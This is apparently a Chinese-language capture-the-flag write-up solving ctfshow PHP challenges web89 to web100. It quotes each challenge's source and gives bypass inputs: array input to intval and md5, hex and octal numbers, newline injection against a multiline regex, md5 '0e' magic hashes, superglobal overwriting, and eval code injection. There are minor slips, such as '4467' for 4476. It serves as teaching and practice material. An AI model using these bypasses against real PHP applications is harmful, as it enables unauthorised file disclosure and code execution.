web89
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_GET['num'])) {
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no no no!");
}
if (intval($num)) {
echo $flag;
}
}
由代码可知我们所传入的参数中不能有数字但又要使intval($num)=1
intval() 的返回值是整型,1或者0 作用于数组时当数组为空,返回值是0,不为空则为1
所以我们可以使用数组进行绕过正则表达式也就是说我们不按规定去传一个数组而不是字符串就会返回false从而不会进入if语句,达到绕过的效果
输入:?num[]=1
web90
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_GET['num'])) {
$num = $_GET['num'];
if ($num === "4476") {
die("no no no!");
}
if (intval($num, 0) === 4476) {
echo $flag;
} else {
echo intval($num, 0);
}
}
由代码可知传入的num参数既要绕过第一个if语句也应该满足第二个if语句这样才能输出flag
由第一个if语句可知我们不能直接传入4467这个数由第二个if语句中intval函数可知
intval($num, 0) 表示将变量 $num 转换为整数,根据 $num 的前缀来确定进制。如果转换后的整数值等于 4476,则可以尝试找到适合的前缀和进制
因此符合intval($num, 0)==4476 条件的输入方式有很多种可以通过进制转换 例:?num=0x117c
或者在数字后面加上字母或者加上小数(因为intval()函数只取整数部分且如果没有前缀会默认是十进制)
输入:?num=4476.0 或 ?num=4476a 或 ?num=0x117c
web91
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
由源代码可知此题需要得到一个名为cmd的参数
第一个大的if语句条件是要满足正则匹配(意思就是要在你传入的参数中匹配到正则表达式中的东西)
preg_match('/^php$/im', $a)此部分中 /i 表示匹配的时候不区分大小写 /m 表示多行匹配 ^$符号表示匹配每一行的开头结尾
第一个if的嵌套if语句条件preg_match('/^php$/i', $a)
对比以上两行代码可知第二个if条件中没有了 /m 不能进行多行匹配因此我们可以在传入的参数中第一行没有php第二行有只要符合这种形式均能得到flag(在url中换行符为%0A因为不区分大小写所以对PHP的写法没有要求)
输入:?cmd=php%0A123
web92
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
此题和web90唯一的差别就是
web90 $num === "4476"
web92 $num==4476
全等比较 (===
) 不会进行类型转换,而相等比较 (==
) 会进行类型转换
因此在web92中4476.0不行
其它与web90的方法没有区别
输入:?num=4476.1
web93
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
看到第一个条件是首先排除不能直接让参数等于4476
然后将第二三个条件结合起来看发现也不能通过其他进制的方法(因为不能有大小写字母)
如果考虑十进制且intval()
函数只取整数部分所以我们可以通过在4476后加上小数部分来得到flag
输入:?num=4476.1 或 ?num=010574
web94
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no1 no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no2 no no!");
}
if(!strpos($num, "0")){
die("no3 no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
通过对代码的大致观察我们发现此关代码和上一关的区别是存在
strpos() 函数此函数用于在字符串中查找一个子串的第一次出现位置。如果找到了子串,则返回子串在字符串中的位置(索引)否则返回 false又因为在这行代码之前有!表示对结果取反所以说我们的参数中必须含有0但是需要注意的是我们的0不能出现在首位否则返回的位置可能为0取反条件为真就无法得到flag因此我们可以在八进制数010574基础上做处理可以在开头加上换行符%0a或空格
另一种方法:当我们仔细观察这段代码发现是全等比较因此我们可以输入4476.0来绕过
输入:?num=4476.0或+010574或%20010574(其中%20是空格的url编码)
web95
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
根据对代码的解释我们可知我们要想得到flag传入的参数需要满足
相等比较不能等于4476且不能含有英文字母或小数点,要含有0且在首位不能是0
由上可得
输入?num= 010574或%0a010574
web96
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
由源代码可知我们需要传入参数u且u不能等于flag.php
highlight_file($_GET['u']由这行代码可知它会高亮显示参数u
的值所指的文件
但是我们又不能直接传入flag.php所以我们可以在flag.php之前加上当前目录./
即传入的值为./flag.php,或者也可以传入flag.php文件的绝对路径
输入:?u=./flag.php或D:\phpStudy\WWW\phptx\web96\flag.php
web97
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
由代码可知此题是post传参要求满足a和b的值不同但是他们的md5加密结果必须完全相同
所以我们想到了使用两个不同的数组来绕过因为md5函数对于数组不能处理如果输入数组会返回空NULL
另一种方法:若两个字符经MD5加密后的值为 0exxxxx形式就会被认为是科学计数法,且表示的是0*10的xxxx次方则还是零都是相等的
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
输出:?a[]=1&b[]=2或a[]=QNKCDZO&b[]=240610708
web98
<?php
include("flag.php");
$_GET ? $_GET = &$_POST : 'flag';
$_GET['flag'] == 'flag' ? $_GET = &$_COOKIE : 'flag';
$_GET['flag'] == 'flag' ? $_GET = &$_SERVER : 'flag';
highlight_file($_GET['HTTP_FLAG'] == 'flag' ? $flag : __FILE__);
由代码可知这段代码主要使用了三目运算符? :来进行条件判断和赋值操作
$_GET ? $_GET = &$_POST : 'flag';由这段代码可知如果存在get传参则get所传的参数会被post参数覆盖
$_GET['flag'] == 'flag' ? $_GET = &$_COOKIE : 'flag';
$_GET['flag'] == 'flag' ? $_GET = &$_SERVER : 'flag';
这两行代码对最后flag的输出没有影响因为最后源代码的显示主要看get参数HTTP_FLAG=flag是否成立
highlight_file($_GET['HTTP_FLAG'] == 'flag' ? $flag : __FILE__);
但是我们不能直接get传参HTTP_FLAG=flag因为如果get传参存在的话就会被post覆盖所以我们可以get传参任意一个数(随便传但是必须有)然后再post传参HTTP_FLAG=flag覆盖get所传参数的值便可以显示flag
get输入:flag=flag(随便输) post输入:HTTP_FLAG=flag
web100
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if ($v0) {
if (!preg_match("/\;/", $v2)) {
if (preg_match("/\;/", $v3)) {
eval("$v2('ctfshow')$v3");
}
}
}
以上代码表示只有$v0=1且v2中不能含有分号v3要有分号
$v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);在这段代码中只需要v1有数字即可因为赋值操作的优先级大于and
eval("$v2('ctfshow')$v3");这段代码会执行括号里的内容因此我们可以利用括号中的$v2('ctfshow')$v3来构造可以输出flag的函数
//flag in class ctfshow;由题目中的注释可知flag在ctfshow中因此我们只需要输出ctfshow即可
get传参传入?v1=1&v2=var_dump($ctfshow)/*&v3=*/; /*....*/是注释符
var_dump()是PHP中的一个函数,用于输出一个或多个表达式的结构信息,包括表达式的类型和值。它通常用于调试目的,可以帮助开发者理解变量的内容和结构。var_dump()函数可以接受多个参数,每个参数都会被输出。对于数组和对象,它会递归地展开值,并通过缩进显示其结构
输入:?v1=1&v2=var_dump($ctfshow)/*&v3=*/;